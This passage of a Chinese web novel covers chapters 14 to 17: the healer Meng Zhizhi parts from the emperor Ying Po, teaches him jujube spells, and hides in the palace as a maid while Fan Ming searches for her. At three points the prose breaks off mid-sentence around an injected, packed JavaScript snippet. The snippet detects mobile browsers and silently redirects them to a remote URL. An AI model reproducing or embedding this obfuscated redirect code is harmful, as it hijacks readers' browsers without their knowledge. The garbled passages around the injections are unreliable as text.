赢破感觉掌心一空,让他不禁朝空气虚握了几下,那种舒服的填充感怎么都补不回来,看着孟枝枝背对着他朝冥漆走过去,心口又不太舒服,闷闷的,比之前更甚,还突突地往外跳,酸酸胀胀。 他感到一丝难堪。 小桃仙打趣道:“傻狍子,那傻皇帝还盯着你看呢!” 孟枝枝无奈道:“小桃仙,都说了不是你想的那样。还有,我不傻,别再说我傻了。” 小桃仙恢复了人形,她哼了几声,道:“你们人类可不就是傻吗?” “说,跟我去不去玉坤山?” 孟枝枝道:“不去。” 小桃仙立马朝冥漆摊手,“看吧,我就说她也不会去,你输了。” 冥漆一脸痛色,埋怨地看了孟枝枝一眼,他掏出几吊子钱塞到小桃仙手里,委婉劝道:“小桃仙,你省着点花,之前给你的金元宝应该还有吧。” “我都花完了啊。” “啊?” 小桃仙不快道:“冥漆你什么意思?” 冥漆委屈道:“小桃仙,在玉坤山上还要花钱吗?” 小桃仙将钱塞进怀里,鼓鼓囊囊,道:“最近弟子们都下山除邪祟了,在人界吃喝住宿,哪样不掏钱啊?” 说完她又盯着孟枝枝,用一种神秘莫测的语气道:“我一回皇宫就闻到有恶鬼的气息。你真不走?” 冥漆也道:“是啊,枝枝,去玉坤山你还能跟着小桃仙一块修炼,留在这里多危险啊。” 孟枝枝道:“我还要去寻师父。小桃仙,你能破除那桥上的结界吗?” 14. 第 14 章 小桃仙道:“什么,桥上有结界?怪了,我进来的时候,没有结界啊!” 孟枝枝听闻,立马奔赴而去。小桃仙和冥漆见状,跟了上去。 赢破站起身子,强稳住步伐,也紧跟着他们。 孟枝枝闯进迷雾,来到桥面上,点地而起。她一飞到桥中心,抛出一颗咒枣,就见咒枣滚落到桥的另一面,又顺着桥面滚下了去。 她恍然,结界真的消失了! 难道这里的结界是净念道师布置的,他一死,结界就失效了? 孟枝枝感到自由近在咫尺。 小桃仙手里握着一枚玉佩,玉佩在发光,道:“大师兄在召我回去,下山的弟子出事了。我现在马上得走,你们跟着我一块出去吧!” 孟枝枝点头,道:“好。” 三人决定要走,只见桥后追来一个仓惶匆忙的身影。 “孟芷!你不能走!”赢破双手紧抓着桥头,那贴满的符纸瞬间灼烧着他的手掌,涌出金色的火舌将他的衣摆燃烧起来。 他死死看着孟枝枝。 小桃仙道:“他不要命了?再在这里呆下去,他肯定会死。” 孟枝枝冲赢破道:“你回去。” 赢破踏出步伐,一步一步地朝她走来。脚下步步火莲燃烧,他却步伐坚定,他声声恳求道:“救我。” 他一脚踩空,金色火焰燃成熊熊烈火,将他包裹住。 走不动了,他伸出烧黑的手往前爬行,如临濒死,每一步都显得愈发艰难,一点一点挪动着往她那处去。 他真的是想烧死自己! 孟枝枝道:“小桃仙,冥漆,你们先走。我跟他说清楚,随后再跟来。” 小桃仙看到这副场景也有点傻,道:“这就算要追人,也追得太吓人了,你好好处理,我们在桥头等你。” 冥漆看着孟枝枝的眼神满含担忧,但小桃仙掉头就走,孟枝枝的视线又看着赢破,没有看他,他只好跟了小桃仙离去。 孟枝枝快步走来,一把将赢破捞起,飞于空中,很快将他带离了桥面。 那火焰烧到她身上,手臂到胸前都烧坏了,火苗燎人。 赢破一见状,用残破的双手将她身上的火苗捂灭,紧接着毫不犹豫地咬破胳膊,将血滴到了她身上,血染过的地方很快就愈合,这是他的补偿。 孟枝枝道:“你还想闹到什么时候?” 赢破固执地看着她,道:“留下来,帮我。我可以将这一身的血肉都给你,无论你要治病救人,还是做什么,都随你。” 孟枝枝看他宛如一张狗皮膏药甩不掉,道:“我帮不了你,你体质特殊,走不出这个别院。而你又是赢氏子孙,千年仙誓,谁都会盯着你。我只是一介散修,没有那么大本事护你周全。接下来的路,你要靠自己,懂吗?” 赢破见她心意已决,道:“再教教我法术。” 孟枝枝看了他半晌,心中涌出无数复杂的念头。 不得不说他求生的本能欲望真的很强烈,令她再一次想起过往。 她还记得刚入宫的时候,车辆缓缓驶进皇都。 她扎着羊角辫,好奇地撩起车窗帘子,看皇都的小贩吆喝叫卖,天真地问起师父。 “师父,人界最厉害的人是长老还是掌门呀?” 那时的她只知道各仙门里最厉害的无非长老或是掌门,不知道人界有官职有贵族还有走卒商贩。 孟慕华喝着茶,笑道:“枝枝这么想知道谁最厉害?” 孟枝枝道:“对呀,我想变成长老,那样就可以使唤别人帮我背书了。” 孟慕华扑哧一笑,又道:“不许在外这么胡说,人界不同修仙界,最厉害的人是天子。” 孟枝枝在嘴里咀嚼着这两个字。 “天、子。就是老天爷的儿子吗?” 孟慕华放下茶盏,将她抱在怀中,道:“天子就是皇帝,一国之君。天子要保护子民,不受外敌侵犯,要颁布法令,布政施斋,防小人奸利,使国家太平,百姓安居乐业,这是天子的使命。” 孟枝枝道:“他这么厉害吗?那些掌门和长老们一天到晚闭关修炼,都会让弟子去做事情,皇帝要做的事情有这么多啊?” 孟慕华捏了捏她的小鼻子,道:“对,所以枝枝要刻苦努力,学习医术,以后治病救人,这也是你的使命。” 孟慕华的话在孟枝枝的心里埋下了一颗种子。 她觉得她要向小皇帝学习,不能一天到晚只想着偷懒。小皇帝做得厉害的事情那么多,她好歹要学会一样厉害的。 又过了两年,学宫熊熊大火燃烧。 那年她八岁。 她抱着一个更小的孩子,哭哭啼啼地拉住小皇帝的衣角。 黑烟呛得她睁不开眼睛,她怎么样都不愿意放手。 她恳求道:“小陛下,救救我们,我们都是您的子民。” 小赢破回头看她,“子民?” 孟枝枝哭花了脸,道:“对,保护子民是天子的职责。小皇帝,您是天底下最厉害的人,我们都仰仗着您的保护,求您救救我们,大家都快要死了。” 小赢破俊美的脸庞泛着一股红润,他纯黑的眼睛干净又纯真。 他道:“你真的认为我是天子,是最厉害的人?” 孟枝枝道:“自然了,师父说了天底下最厉害的就是天子,天子就是您。您一定有办法救大家吧?” 那时的她并不知道,赢破不过是被人囚禁关押的犯人。 师父说她爱说胡话,也是说她幼小不知世事。 她那时只顾着渴求赢破救他们,没有想过他身为皇帝只身出现在学宫已是奇怪。 他浑身上下除了头顶上一根龙簪能彰显其身份,着玄衣,打赤脚,哪里像个皇帝? 当时,学宫里还没逃出去的幼小孩童都是宫外送进来普通人的孩子,等宫人们救出王公贵族的孩子后,再意识过来,火势已经很大了。 没人再敢闯进来救人。 她刚入学宫不久,对学宫地形并不熟悉,她虽然跟着师父修行,但能力尚浅,一个人救不了那么多人,只能抓住这一根救命稻草。 他道:“你叫什么名字?” 孟枝枝道:“我大名叫孟芷,小名叫枝枝。” 小赢破警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958186|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着她,见她能报出姓名,他脸上的红润又重了几分,似乎为自己对子民的怀疑感到羞愧。 他点头道:“好,我救你们。” “你跟我来。” 孟枝枝跟在他身后,见他背起一个又一个昏迷的孩子出了宫殿,身上被火烧起一个又一个燎泡。他还不忘把最安全的地方留给她,却对自己的伤始终不吭一声。 当他终于背出最后一个孩子。 她见他站在火海里,回头看她。 她被黑烟迷了眼睛,“小陛下,你快过来啊!” 小赢破看着她,双脚立在原地,一动不动。 房梁垮塌得越来越多,身边是阵阵巨响。 她心里着急,赶紧上前把他拉着一块出去。 结果脚刚出来,就被一群禁军团团围住。他们将小赢破带走,不知带到哪里去了。 孟枝枝跟所有人说是小皇帝救了大家,但所有人都说她在说胡话。 那一夜,学宫里从没有出现皇帝,是学宫里的禁军将所有的孩子都救了出来。 皇都百姓对禁军感恩戴德,对宰相樊隆的统领感恩戴德,没有人说起小皇帝只言片语。 她不解,只把这件事告诉了师父。 师父幽幽叹了口气,很久才道:“枝枝,以后不要再说此事了。我们在皇宫里生存不容易,以后要懂事些,知道吗?” 孟枝枝看出师父的无奈,保持缄默。 从此她将小皇帝藏在了心底里,谁也不告诉。 再次见到小皇帝,是她九岁。 她那时候跟着师父学习治病救人之术,怎么都背不好医书,将自己关在房里整整一天看书,被师父知道后,勒令她不许再看书,端来吃食让她好好吃饭。结果她一下就生病发烧,脆弱又娇气,怎么都不想吃饭,朝师父撒娇耍赖都没有用。 “孟芷,如果我回来,再看见你不吃饭,就罚你戒尺十下。” 在皇宫里,师父对她很严厉。 越是长大,师父脸上的笑容越少,越对她板着一张脸。 她听完嚎啕大哭。 她是真的吃不下饭,但是她也怕痛,被戒尺打手板实在太疼了。 等师父走后,她哭着将饭碗端着出了门。 她走到宫殿里养的一只大黑狗前,哭哭啼啼地将饭碗递了过去。 大黑狗很激动,对着饭碗就舔了起来。 她拿手搓着眼角的泪花,“呜呜呜,小黑你吃快点,一会儿师父就要回来了。” 一道黑影闪过,只听小黑汪汪几声。 一个衣衫褴褛的男孩,抢过饭碗,用手刨食,狼吞虎咽。 他目光凶恶地瞪着小黑和她。 孟枝枝吓了一跳,她一眼就认出那是赢破。 还没等她开口说话,赢破哐当丢下饭碗,跑开了,一会儿就没了人影。 只留下碎了一地的碗瓣,上面干净得不染一粒米。 他不记得她了。 原来,他那么可怜。 孟枝枝从回忆中抽身。 她道:“好,我教你,只教一遍,能记住多少,全看你自己。” 15. 第 15 章 她从香囊里取出一点土壤。 “我用的法术都和驱邪道术有关,就是你见过的金色咒语。那咒语能伤鬼怪,也能伤你。” 赢破如饥似渴道:“我学。” 这个长得像狐狸精一样的少年,和小狐狸一样多疑、易惊动。小狐狸被狐狸妈妈教会保命的生存技能就被赶出家门,自力更生。但他却是出生就被赶出家门,一路跌爬滚打,还从没能学得会生存技能。 她心中念头一起,将手中的土壤分出一半给赢破,道:“那就先从基础的学起。” 少年眼神流动,目不转睛,捧着手中的土壤像捧着稀世珍宝。 孟枝枝说道她手中的土壤曾被仙家食草灵兽产出的灵肥沤过,专门被她用来培育咒枣。只要放下一粒枣种在里面,再使催熟咒,不出片刻就会长出仙枣。 赢破不懂什么是灵肥,只觉得这土壤有股清新的异香。 孟枝枝从腰间的桂花香囊里取出两个小培育药袋,将一个给了赢破。 “你学着我做。” 她把土壤放进了培育药袋里,“培育袋里有咒枣种子,你撒了土壤,再跟我学念催熟咒。” 她盘成莲花腿,屏息敛声,念着师父曾教过她的。 “要记得,这世间每个修行者都有追求的道,而我们奉的道是神农之道。神农勇尝百草,治病救人,是我们医修信仰的始祖。” 说罢,她闭了眼,结了莲花印:“神君在上,借我神力,言出法随。咒枣,长。” 她的身上落满微弱金光,那金光环绕她四周一圈,又落到她腿前的培育袋。 金光不断输送进去,培育袋渐渐鼓胀,鼓胀到极点,一缕嫩芽破袋而出,几乎瞬间长得如手掌大小。 赢破学她,同盘腿,对着自己的培育药袋同念咒语。 “神君在上,借我神力,言出法随。咒枣,长。” 他身上半天没落下金光,只感觉胸口发闷,一股浓烈的窒息感。他低头能看见胸口处正有一团黑色的气,这股气夹杂着闪电状的微光,他顺着本能将那黑气包裹的微光引渡到培育药袋上。 孟枝枝正闭眼感受来自上古时期神农的百药洗礼,源远流长下几万年的传承,体内还有一股源源不断的万物生长之力。 她一一将感受说出,引导赢破。 赢破感受不到那些,什么百药洗礼,什么生长之力,通通没有,引得他烦躁,怕她嫌弃自己。他不知道自己是不是借来的神农的力量,觉得这黑气微光或许和金光没太大区别,不过都是借助神力去催熟咒枣。 她睁眼去看赢破的培育袋,竟然真的长出了枝桠,虽然比她那个看上去小点,但确实催熟了。 她不由夸赞道:“你果真聪明,学什么都快。” 赢破道:“是不是有咒枣长了出来,我可以像之前一样使用咒术。” 孟枝枝道:“是,但我也告诉过你,这咒术对你而言也是伤害,该怎么使用就看你自己。” 她手指突然一指,道:“仙枣长成了!我来摘枣。给你个瓶子,去接叶子上的露水。” 一个碧玉色的瓶子丢了过来,赢破一把握住。 露水……怎么接? 孟枝枝摘枣快得很,起身一回头,她见赢破拿瓶口堵在叶子下,站得像个木桩。 她无语地走到他身后,托住他的手。 她道:“你看,接露水是这样接的。” 她握住了赢破的手指,用他的食指,去轻触叶子上亮晶晶的光点,那光点唰地一下就落到了瓶子里。 碧玉色的瓶身隐约透明,摇晃一下能看得见里面浮动的流光,似光似水。 孟枝枝道:“这就是咒水。” 赢破微侧过脸,少年唇红齿白,垂落的眼睫像根根羽毛柔软卷翘,眼睑底常常勾勒出一道红线。 他看她的眼神淡淡的,显得几分孤傲,在浓颜姿色下映衬得,恍然有种淡妆浓抹的参差感。 孟枝枝才突然察觉到自己的行为跟他太过亲近了。 她连忙撒开了手,“你快接露水吧,我去分枣。” 她背过身去,将放在桌上的鲜枣挑拣了出来。她捏了诀,鲜枣金身一化瞬间变成了一颗颗红色的普通枣子。 赢破拿着碧玉瓶递了过去,“接完了。” 孟枝枝刻意错过他的手指,就着空隙接了过去,双手合十字,将碧玉瓶夹在中间。 “丹朱口神,吐秽除气,心神丹元,令我通真,思神炼液,道炁常存。急急如律令。” 两指尖之间出现一颗金珠,金珠落入碧玉瓶中,流光水变成了金水。 孟枝枝道:“咒水有除秽净化之效,普通人服用除了可以解毒,还能净化恶念,去除祟心。” 她又掏出个白瓷瓶,将咒水一分为二,放在了桌上。 现在东西都准备得差不多了。 孟枝枝脑袋一偏,看着赢破:“会搓丸子吗?” 赢破:“?”不理解。 搓丸子,又叫搓圆子,就是搓着枣子唱咒歌,借助咒歌和枣通灵,能迎来神的赐福,赶走霉运,是一种讨彩头的仪式。 他袖子一挥,道:“这世上没有真神。” 若是有,怎么会眼睁睁看着他这般造人觊觎?若是有,这世上还会有受苦受难的人? 他从不信这些。 孟枝枝道:“那你学不学?” 赢破道:“学。” 孟枝枝道:“我每次搓了丸子,师父考我试我都过了,还能顺带练习咒语。道法千万,无穷变化,不过再怎么变化,咒语都在咒歌真言之中。” 她教给赢破的东西可谓是最最基础的,正统仙门压根瞧不上散仙这般低劣的修道之法。她既然答应了他,又不想他利用咒术作恶,只能教给他这些东西,也算完成了她的答谢。 赢破拿起一把枣子,他脸色不好看。 孟枝枝已经开始搓起了丸子,嘴里哼唱着咒歌。赢破微张双唇,模仿着她。 二人搓丸子搓了好一阵,四周灵气波动,光辉围绕着他们四周。 孟枝枝敛住灵力,光辉像仙人散花般向四处散去。 她道:“我已经教完了。” 孟枝枝转过身,侧过脸,道:“你好自为之。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958187|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她脚尖轻点,踏风而去。知道赢破在看她,也没有回头。 小桃仙见她出来,道:“我还以为你会舍不得他,他那眼神看你真像一只可怜巴巴的小狗。” 孟枝枝道:“你想多了。” 小桃仙将脸凑近,道:“傻狍子,你怎么了?感觉多日不见你,你怎么像变了个人?以前那个喜欢抱着我,朝我撒娇的小姑娘去哪儿了?” 孟枝枝一时不知道怎么说起,上一世的事她不想多回忆。 一世赢破走了岔路,成魔之后的他不可能被体谅,直接被修仙界视为仇敌。 魔是世间最邪恶者,比恶鬼鬼邪还要恐怖。魔没有是非善恶,为心中欲望而堕落,成为魔意味着选择彻底失去人性。 修仙界的修士们或许对妖还手下留情,毕竟弟子中还有坚守正道的妖修,但他们认为恶鬼邪灵和魔都是不可饶恕的存在。因为所有的恶鬼邪灵将人类视为食物,欲望和饥饿促使他们吃人、害人,比如之前遇见的五奇鬼。魔只会做得更甚,若说恶鬼邪灵吃掉生灵来补偿饥饿,那魔从不尊重生命。 总归她和赢破之间现在已经毫无关系,不用再思考那些。 她道:“我长大了,不能动不动就撒娇。我用千纸鹤去寻了师父的踪迹,千纸鹤一直围绕在皇宫打转,我担心师父还在这皇宫中,没有离开。” 冥漆道:“我也在皇宫四处搜寻,完全没有发现孟医仙的踪迹。” 冥漆也担忧地看着孟枝枝。 他总觉得这次再见孟芷,她整个人仿佛变得沉静,比起以前天真烂漫的小孩样,更像个心思深重的成人了。往日那么掉完眼泪就忘事的小姑娘,现在也有了自己的心事。 孟枝枝道:“净念道师的底细不清楚,我呆在皇宫这么久,到今日才知道他或许还与千霄宫有关,这实在太蹊跷了,他说见过我师父,而冥漆说在皇宫里找不到我师父,难道我师父她被谁带走了?” 小桃仙反应过来,道:“你说得也有几分道理。最近这段时日人界和修仙界都不太平,人界突然冒出许多恶鬼邪祟。我听说千霄宫的锁妖塔里还逃出来一只大妖,各家仙门都派了大量弟子下山斩妖除魔。” “我这次也是为这事下山,谁知道半路上莫名其妙被这臭老道掳走了。世道不太平,真奇怪,怎么突然就变成这样了!” 孟枝枝道:“小桃仙,我有一个想法,我先留在皇宫里再去寻一寻师父的踪迹,毕竟千纸鹤就指引的这里。千霄宫的人这次一定也下了山,到时候你要是碰着千霄宫的人,就帮我打听一下,到时候给我传信,我立马赶过来。” 小桃仙道:“好吧,谁叫我小桃仙心地善良,大慈大悲,这次就帮你跑这个腿。以后可别想使唤我啊!” 孟枝枝浅笑道:“好。” 她抱住小桃仙,将头埋在了她的怀中,道:“谢谢你,真的。” 小桃仙摸着她的脑袋,道:“有事别一个人往心里藏啊,你还有我和冥漆呢。孟医仙一定会平平安安,你不要太担心了。我和冥漆永远是你的后盾,知道吗?” 孟枝枝眼眶微湿,道:“恩。” 16. 第 16 章 小桃仙离开了皇宫,孟枝枝随着冥漆一块躲藏在皇宫里。 她先回去了一趟她和师父住过的地方,房间里已经积攒了薄薄的一层灰,自从她和师父走了之后,这里就无人来过。 眼看师父没有在这里,她又和冥漆准备千纸鹤停留最久的地方,皇宫就这么大,总归有一天能够找完。 此时此刻,别院之中。 樊鸣带领着一众将士,身后跟着钱喜。 樊鸣四处巡视,道:“净念道师在哪儿?” 赢破道:“孤不知道。”他盘弄着掌心里的几颗咒枣,压根没把樊鸣放在眼里。 钱喜找了一大圈,大喊道:“不好了,不好了,小贵人不见了!” 樊鸣道:“你杀了净念道师,又杀了孟芷?” 赢破不言不语,躺在贵妃椅上,将一颗咒枣抛到空中,用嘴接下,面无表情,下颚扯动,嚼出几分凶狠。 钱喜看得毛骨悚然。 樊鸣上前道:“净念道师是得道高人,作为大国师,护佑南元国三代平安。陛下的疯症,没人比他更加清楚。宰相大人之所以还不放权给陛下,也是因为陛下疯症未愈,陛下莫要让我们为难,修仙者难得,他对我们南元国来说至关重要,还希望陛下说清楚净念道师去了哪里。” 赢破道:“你是聋了吗?孤已经说了不知道。谁知道他是不是怕了孤,跑了。”他扯了扯嘴角。 樊鸣看了他许久,“既然如此,叨扰陛下了。” 赢破冷看着他。 樊鸣迈出步子,稳稳地踏过青石砖,看起来不慌不忙,脸上的表情也是淡淡的,看不出一点心思。 钱喜一见,立马跟了上去。 “樊大人,仙师真的死了?陛下杀了两个人?” 樊鸣道:“净念多半死了。至于孟芷,不一定。” 钱喜不懂,道:“那孟芷会跑到哪里去?” 樊鸣下令,道:“将士听令,重搜皇宫!一旦有任何可疑之人出现,你们都给我揪出来!” “末将得令。” 樊鸣回了樊宅。 一位提灯老仆道:“大少爷,老爷在书房等您多时了。” 樊鸣随着他穿越黑漆漆的园林,迈过幽幽走廊,来了书房。 门被合上。 他单膝下跪,“父亲。” 书房里有一道玉做的帘子,那帘子里坐着一个人,浓浓的檀香烟飘了出来。 帘子里时不时传出几声咳嗽。 “如何?” 樊鸣道:“净念道师已经死了。” 樊隆稍微停顿,道:“她是仙家派来的?” 樊鸣道:“或许是。” 樊隆道:“或许?” 他对这个答案不甚满意。 “大郎,你可知人界以什么为尊?” 樊鸣道:“至高无上的权利。” 樊隆徐徐倾倒茶水,道:“错了。” 樊鸣低下头,道:“还请父亲赐教。” 樊隆道:“人界以修仙者为尊,修仙者以神为尊。飞升意味步入神界,但神界只是传说中的事,谁也不知道世上究竟有没有一个住着神仙的神域。别看你我二人在皇都手握重权,实际上我们什么都不算。” “这天下到底是仙门说了算。别忘了,赢氏的地位是如何得来的。” 樊鸣道:“净念不是说过如今各家仙门忙于斩妖除魔,我想他们应该没有空隙来管皇宫里的事。” 樊隆道:“还是小心为妙。孟慕华突然消失不见,孟芷又是她唯一的爱徒,我早有猜测这孟慕华和仙门之人有所关联,此事不得不防。孟芷此时又突然失踪,这事不好办了。” 樊鸣脑子里浮现钱喜口中的孟芷模样,道:“儿查到七年前学宫大火,她曾说过是陛下救了她。” 樊隆缓缓思索,道:“七年前,她不过八岁黄毛丫头。” 他似乎又想起了什么,回身坐下。“呵呵,又是七年前,你与她倒是有缘分。” 樊鸣眼神微落。 七年前,他还只是在街上偷骗抢砸的乞儿。 学宫大火之后,需要赈灾,皇都需要调养生息。而他被赈灾的宰相樊隆一眼挑中带了回去,变成了樊家大郎——“樊鸣”。 学宫对别人而言是一场灾难,对他确是幸运。 “你相信她说的吗?” 樊隆目光如炬,烛火在他身后摇摇晃晃,照得他背影高大。 樊鸣道:“父亲怎么看?” 樊隆道:“大郎你知道女子爱一个人会如何?” 樊鸣道:“我不知道。” 樊隆像是追忆,赞美道:“女子深爱一个人,便会甘愿为他奉献一切,为他生儿育女,哪怕明知自己会死,也要顾全对方。” 樊鸣微微抬眼,他似乎在说早逝的先夫人。 樊隆道:“感人至深,是不是?” 他的口吻轻佻,离宫外流传他爱妻如命、不娶小妾的传闻有些割裂。 樊鸣道:“如果是这样,孟芷选择进入别院那就有理由了,可是既然如此,她为什么又要逃出来,是受不了陛下了?父亲觉得孟芷当初在撒谎?” 樊隆道:“比起这个问题,你更应该关心她是否与皇帝同房过?” 樊鸣道:“这……” 樊隆道:“去查查罢。” “是。” 樊鸣还未走出几步,樊隆的声音又在身后响起。 “如果没有,就帮帮她。仙家不会要一个自甘堕落的弟子。而她若有了身孕,对我们而言是大大的好事。” 樊鸣微偏过头,没有开口说话,走出房门,合上了门。 他往宅外走,今夜他还要驻守皇城。 提灯老仆走在前面掌灯。 只见宅子巡逻的人少了一些,他便问起此事。 提灯老仆静穆道:“大少爷,昨日小姐来见过老爷,吵着闹着要跟着几个千霄宫的弟子一块去郊外除妖。老爷不许,小姐就和几个丫鬟偷溜了出去,管家怕出事,便叫人跟出去护着。” 樊鸣道:“千霄宫的弟子已经来了皇都?许是用的化名,不然下面人早报上来。” 他心道,难怪父亲这么着急让他去做此事。 确实是个好时机。 提灯老仆呆在樊家多年,历经樊家兴衰,知晓不少事。 他叹息道:“小姐早已及笄,整日却还像个孩子似的,这可如何是好?” 樊鸣顿了一会儿,道:“父亲会为她找个好人家嫁了。” 他一手执后,一手执前,眸子里是杀伐果断。 提灯老仆想起小姐多年来和老爷争锋相对,想上仙山拜师,说到底也看不惯大少爷,可先夫人已经逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958188|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世多年,老爷也未续弦。 小姐仍然不满多出来一个“兄长”压在她上头。 以后小姐会甘愿嫁人吗? 他不禁摇了摇头。 * 孟枝枝发现最近皇宫的监守越来越严格,她每一日都心惊胆战,总觉得他们是在寻她。 冥漆化作花枝鼠,落在花坛中道:“枝枝,没有。” 孟枝枝现在正穿着宫女服饰,道:“再找找。” 此时,一个太监点了点孟枝枝道:“那边的宫女,说的就是你,快过来。” 孟枝枝硬着头皮,留给冥漆一个眼神,迎了上去,道:“公公。” 太监上下打量着她,头上两个花苞,隐约俏丽,她低下头侧着脸,露出清晰的下脸轮廓。动作教养很好,任哪位宫廷嬷嬷来也指摘不出什么毛病。 他道:“你是哪个宫的宫女?” 孟枝枝掏出令牌,道:“奴婢是打扫洗尘殿的蒹葭。” 太监将她的令牌翻来覆去地看,道:“就你了,今晚你跟我走一趟,樊指挥使要在清辉阁招待武将们,特地要选一批长相秀丽、姿态端庄的宫女,切不能有任何差错,知道了吗?” 孟枝枝为难道:“可是奴婢还未打扫完洗尘殿。” 太监道:“真是个木鱼脑袋,能去这等夜宴,是你几辈子都碰不到的机遇。洗尘殿不过是先帝沐浴之地,一日不扫也没什么,赶紧随我走。” 此时,一排禁军巡逻此处。 孟枝枝眼看无法拒绝,道:“就听公公的。” 太监喜上眉梢,道:“这不就对了。听话点,伺候好贵人们,以后有享不尽的荣华富贵。” 她随着这位太监进入了清辉阁中。 她与一众宫女都呆在后殿里,听大太监的指挥,四处装点。 一见大太监有事走开,有一位瓜子脸的宫女名唤之桃,她左顾右盼道:“欸,听闻樊指挥使今年不过二十三,还尚未婚配,家中也没有通房,你们谁见过呀?” “我见过,樊指挥使孔武有力,模样英俊,经常带着着将士在练兵场训练,好威风。” “你这个不害臊的,难不成想去做樊指挥使的小妾?” “就算是小妾我也愿意,总比随便配了个粗鲁的武将好。蒹葭,你呢?” 孟枝枝刚将锦缎坐垫安置好,道:“我没什么想法。” 之桃道:“也是,你一个洗尘殿的打扫宫女,还是乖乖做你的事,那些宫灯全由你来挂吧。” 之桃是清辉阁的大宫女,她们的品阶都没有她高。 孟枝枝不想多惹事端,提起一盏宫灯,找了个板凳,就挂上。 之桃见她不争不抢,顿时觉得没意思,又和其他宫女说笑起来,又说起哪个儿郎更俊俏。 孟枝枝一盏又一盏地挂,顺便四处查探有没有师父的踪迹。 天色渐暗,还有一处最高的宫灯没有挂上,她踮起了脚尖,试了试,发现挂不上。 于是她蹦跳起来,手中的宫灯一下子就挂了上去。 “好身手。” 孟枝枝一听,脚不稳,就从板凳上跌了下来。 只见一只有力的手挽住了她的胳膊,道:“小心。” 她抬头一看,正入一个人的眼里,那男人五官英挺,皮肤小麦色,深邃的脸庞上长着一双欲说还休的眼睛。 17. 第 17 章 孟枝枝回神,立马抽手,行了宫礼道:“大人,失礼了。” 樊鸣见她虽然刚刚步伐慌张,脸上很快恢复平静,是个灵巧的人。 他抚摸着大拇指上的扳指,道:“你叫什么名字。” “奴婢蒹葭,是洗尘殿的打扫宫女。” 樊鸣道:“你知道我是谁吗?” 孟枝枝道:“奴婢愚钝,不知是哪位大人。”她低眉顺眼,不再抬头看他一眼。 樊鸣道:“我是樊鸣。” 孟枝枝道:“原来是樊指挥使大人,大人在上,请受我一拜。” 她又行了一个礼。 樊鸣见她规矩,道:“今日,你来我身旁伺候。” 孟枝枝颔首,道:“遵命。” 她跟在他身后,心中想着自己有没有出现什么纰漏。一进厅中,就感觉到众人的目光。 “参见樊大人。”武将们已经全部到来。 樊鸣道:“免礼。诸位请落座。” 他一掀开衣摆,落座上位。孟枝枝见状,立刻为他斟酒。 一位武将道:“大人让我们去寻那孟慕华,可惜我们始终未寻到,这大活人怎么凭空消失了,实在可疑。” 孟枝枝手一抖,不小心将几滴酒水洒在了桌上。 她立马拿袖子去擦拭,“大人,奴婢从没来过御前,奴婢请罪。” 樊鸣目光落在她身上,道:“无妨。你先去一旁。” 孟枝枝听闻,斟完酒,立马立于一旁。 他又转移视线道:“那孟慕华是散修,你们找不到也是正常,当务之急是找到孟芷。” 那位武将不理解,道:“这孟芷究竟有何重要?” 樊鸣道:“孟芷偷盗了一件法器,国师曾言那法器有关我南元国的国运,如今她带着法器消失,不知是不是投奔了妖魔。如今陛下神志不清,也是被那孟芷所害,此等贼人当然要捉拿归案。” “原来如此,不知现在陛下如何?” 樊鸣饮了酒,道:“陛下身体愈发虚弱,托付父亲暂时看顾朝廷。” “那龙嗣之事怎么办?”那位武将直来直往,道,“这皇位定要赢氏子孙才能延续。” 樊鸣道:“这就是我今日邀请诸位前来的缘故,说来惭愧,当日选这孟芷去伴陛下,是看她身世清白,孟慕华又是一品女医。可是这孟芷突然消失,还伤了国师,或许她腹中已有龙嗣,还请诸位捉拿孟芷时务必留下活口。” “这龙嗣事关重大,属下一定活捉那孟芷,保龙嗣安恙。” 樊鸣举杯道:“我敬诸位一杯。” 众臣饮酒作乐,孟枝枝时不时布菜。樊鸣偶尔将目光落到她身上,每当她以为他有所怀疑时,他又将目光移开了。 宴席散去。 樊鸣大醉,大太监要去扶他,却被他一把推开,他对孟枝枝道:“你来。” 孟枝枝心中抗拒。 大太监道:“蒹葭,愣着干嘛,快扶着指挥使大人!” 孟枝枝只好去扶他,他一大半的身体重量都压在她身上,让她步履沉闷。 樊鸣感受到少女身上的香甜味,道:“是枣味?” 孟枝枝道:“恩,奴婢喜欢吃枣。” 樊鸣道:“我听闻道家常用咒枣驱邪,没想到你也喜欢吃枣。” 孟枝枝艰难地托扶着人高马大的他,道:“奴婢从小体弱多病,家人就请了医师为奴婢看病,医师让奴婢要多吃枣,奴婢就养成了吃枣的习惯。” 樊鸣被扶到床榻上,脸上被酒气染得几分醉意,道:“你很紧张?” 